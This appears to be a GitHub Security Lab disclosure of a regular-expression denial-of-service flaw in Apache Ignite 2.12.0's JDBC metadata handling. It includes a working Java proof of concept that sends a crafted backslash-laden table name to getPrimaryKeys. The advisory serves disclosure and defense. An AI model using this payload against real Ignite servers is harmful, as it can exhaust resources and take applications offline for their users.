Coordinated Disclosure Timeline

Summary

Apache Ignite up to version 2.12.0 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles table names when requesting primary keys through its JDBC driver. Specially crafted table names may cause catastrophic backtracking, taking exponential time to complete.

Product

Apache Ignite

Tested Version

2.12.0

Details

Issue: Regular Expression Denial of Service (ReDoS) in SqlListenerUtils.java. (GHSL-2022-023)

Apache Ignite uses the following regular expression to convert SQL wildcards (like %) into regular expressions (like .*):

toRegex = toRegex.replaceAll("([^\\\\\\\\])(\\\\\\\\(?>\\\\\\\\\\\\\\\\)*\\\\\\\\)*\\\\\\\\([_|%])", "$1$2$3");

Note the nested repetition at \\\\\\\\\\\\\\\\)*\\\\\\\\)*. The regex engine would need to exponentially backtrack [1] in order to distinguish which part of the expression (either the backslashes before the first * or after it) matches the input in case there is not a full match.

The method SqlListenerUtils.translateSqlWildcardsToRegex is used to handle SQL queries in several parts of Ignite, one of them being the JdbcRequestHandler.doHandle method (through OdbcUtils.preprocessPattern, OdbcRequestHandler.matchesTableType, and OdbcRequestHandler.getColumnsMeta), which listens for requests through Ignite’s JDBC driver.

This means that a user-controlled table name that gets passed to a DatabaseMetaData.getPrimaryKeys call using Ignite’s JDBC driver will reach the vulnerable regular expression, which could be exploited to cause the denial of service.

As an example, the following code demonstrates how to trigger the vulnerability, provided that an Ignite server is running at 127.0.0.1:

public class RedosIgnitePoc {
    static class Person {
    }

    public static void main(String[] args) throws IgniteException {
        // Preparing IgniteConfiguration using Java APIs
        IgniteConfiguration cfg = new IgniteConfiguration();

        // The node will be started as a client node.
        cfg.setClientMode(true);

        // Classes of custom Java logic will be transferred over the wire from this app.
        cfg.setPeerClassLoadingEnabled(true);

        // Setting up an IP Finder to ensure the client can locate the servers.
        TcpDiscoveryMulticastIpFinder ipFinder = new TcpDiscoveryMulticastIpFinder();
        ipFinder.setAddresses(Collections.singletonList("127.0.0.1:47500..47509"));
        cfg.setDiscoverySpi(new TcpDiscoverySpi().setIpFinder(ipFinder));

        // Set a cache configuration so that it has a query entity
        CacheConfiguration<Long, Person> personCacheCfg = new CacheConfiguration<Long, Person>();
        personCacheCfg.setName("Person");

        QueryEntity queryEntity = new QueryEntity(Long.class, Person.class)
                .addQueryField("id", Long.class.getName(), null)
                .addQueryField("age", Integer.class.getName(), null)
                .addQueryField("salary", Float.class.getName(), null)
                .addQueryField("name", String.class.getName(), null);
        queryEntity
                .setIndexes(Arrays.asList(new QueryIndex("id"), new QueryIndex("salary", false)));

        personCacheCfg.setQueryEntities(Arrays.asList(queryEntity));

        // Starting the node
        Ignite ignite = Ignition.start(cfg);

        IgniteCache<Long, Person> cache = ignite.getOrCreateCache(personCacheCfg);
        cache.put(1L, new Person());

        System.out.println(">> Created the cache and added the values.");

        try {
            // Registering the JDBC driver.
            Class.forName("org.apache.ignite.IgniteJdbcDriver");

            Connection conn = DriverManager.getConnection("jdbc:ignite:thin://127.0.0.1");
            DatabaseMetaData meta = conn.getMetaData();
            String redosPayload =
                    "!\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\!\\";
            meta.getPrimaryKeys(null, null, redosPayload);
        } catch (Exception e) {
            System.err.println(e);
        }

        // Disconnect from the cluster.
        ignite.close();
    }

}

Note that JDK 9 introduced important mitigations for this problem, so in order to reproduce the issue with the above example, the application using Apache Ignite must be run with JDK =< 8.

Impact

This issue may lead to a denial of service of the application using Apache Ignite by resource consumption.

Resources

[1] https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS [2] https://github.com/google/re2j

Credit

This issue was discovered and reported by the CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-023 in any communication regarding this issue.